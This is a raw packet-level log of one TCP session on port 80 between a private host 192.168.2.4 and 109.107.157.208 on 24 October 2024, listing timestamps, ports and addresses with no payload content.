Oct 24, 2024 13:27:06.995949984 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.995965004 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.995987892 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.995999098 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.996023893 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.996035099 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.996052027 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.996069908 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.996098995 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.996117115 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.996563911 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.996599913 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.996628046 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.996634007 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.996644974 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.996670008 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.996687889 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.996705055 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.996727943 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.996742010 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.996766090 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.996776104 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.996793985 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.996810913 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.996833086 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.996845961 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.996867895 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.996881008 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.996907949 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.996917009 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.996948957 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.996951103 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.996968985 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.996984005 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.997006893 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.997019053 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.997035027 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.997076035 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.997697115 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.997750998 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.997766018 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.997788906 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.997807026 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.997824907 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.997847080 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.997859955 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.997880936 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.997895956 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.997903109 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.997931004 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.997951984 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.997967005 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.997999907 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.998002052 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.998019934 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.998038054 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.998059034 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.998073101 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.998095989 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.998107910 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.998131990 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.998142004 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.998171091 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.998209953 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.998210907 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.998245955 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.998266935 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.998281002 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.998311043 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.998315096 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.998327971 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.998352051 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.998370886 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.998388052 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.998415947 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.998421907 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.998439074 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.998456955 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.998476028 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.998492956 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.998513937 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.998526096 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.998552084 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.998562098 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.998574972 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.998595953 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.998615980 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.998631954 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.998653889 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.998667002 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.998692989 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.998703003 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.998725891 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.998738050 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.998758078 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.998773098 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.998806953 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.998817921 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.998817921 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.998867989 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.999109030 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.999145031 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.999171019 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.999177933 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.999187946 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.999213934 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.999223948 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.999248028 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.999268055 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.999283075 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.999308109 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.999336958 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.999345064 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.999388933 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.999401093 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.999435902 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:06.999449968 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:06.999505043 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.045710087 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.045764923 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.045806885 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.045907974 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.045908928 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.045908928 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.106522083 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.106576920 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.106637955 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.106676102 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.106714964 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.106735945 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.106735945 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.106736898 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.106736898 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.106774092 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.106806040 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.106810093 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.106832027 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.106848955 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.106861115 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.106899977 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.106934071 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.106935978 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.106966972 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.106976032 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.107012987 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.107034922 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.107034922 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.107049942 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.107069016 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.107085943 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.107103109 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.107145071 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.107151031 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.107187033 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.107202053 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.107224941 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.107245922 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.107259989 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.107270002 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.107296944 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.107311010 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.107337952 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.107362032 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.107398987 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.107423067 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.107439995 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.107443094 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.107490063 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.107537031 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.107568979 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.107598066 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.107616901 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.107661963 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.107697964 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.107712030 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.107734919 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.107748032 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.107769966 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.107786894 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.107805967 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.107812881 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.107840061 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.107860088 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.107877970 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.107913017 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.107923031 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.107950926 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.108009100 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.108040094 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.108146906 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.108177900 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.108237028 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.108263969 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.108273983 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.108310938 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.108329058 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.108346939 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.108367920 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.108376980 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.108422041 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.108470917 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.108567953 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.108603001 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.108640909 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.108655930 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.108676910 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.108676910 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.108699083 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.108716965 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.108732939 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.108753920 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.108768940 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.108792067 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.108807087 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.108823061 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.108846903 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.108865976 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.109122992 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.109159946 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.109170914 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.109196901 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.109210014 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.109231949 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.109246016 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.109267950 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.109286070 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.109302998 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.109314919 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.109338999 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.109353065 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.109373093 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.109388113 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.109407902 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.109424114 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.109443903 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.109462976 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.109478951 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.109498024 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.109513044 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.109520912 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.109551907 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.109564066 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.109589100 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.109601974 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.109625101 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.109637976 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.109662056 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.109678984 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.109700918 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.109708071 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.109752893 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.110086918 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.110122919 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.110137939 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.110160112 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.110172987 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.110194921 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.110210896 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.110230923 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.110244036 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.110265970 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.110284090 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.110302925 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.110312939 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.110337973 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.110352993 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.110373974 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.110394001 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.110409975 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.110424042 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.110447884 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.110462904 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.110486031 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.110496998 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.110524893 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.110542059 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.110583067 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.110846043 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.110882044 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.110907078 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.110932112 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.110941887 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.110979080 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.110994101 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.111016035 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.111033916 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.111053944 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.111071110 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.111089945 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.111099958 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.111125946 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.111140966 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.111162901 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.111179113 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.111198902 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.111217022 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.111234903 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.111247063 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.111270905 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.111284971 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.111308098 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.111323118 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.111362934 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.111363888 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.111398935 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.111414909 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.111453056 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.111754894 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.111790895 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.111816883 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.111826897 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.111835003 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.111861944 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.111871958 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.111897945 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.111911058 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.111932039 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.111944914 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.111968994 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.111983061 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.112004995 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.112020969 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.112040997 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.112057924 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.112075090 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.112087965 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.112112045 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.112128019 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.112148046 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.112164021 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.112184048 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:07.112200975 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:07.112221003 CEST	80	49730	109.107.157.208	192.168.2.4
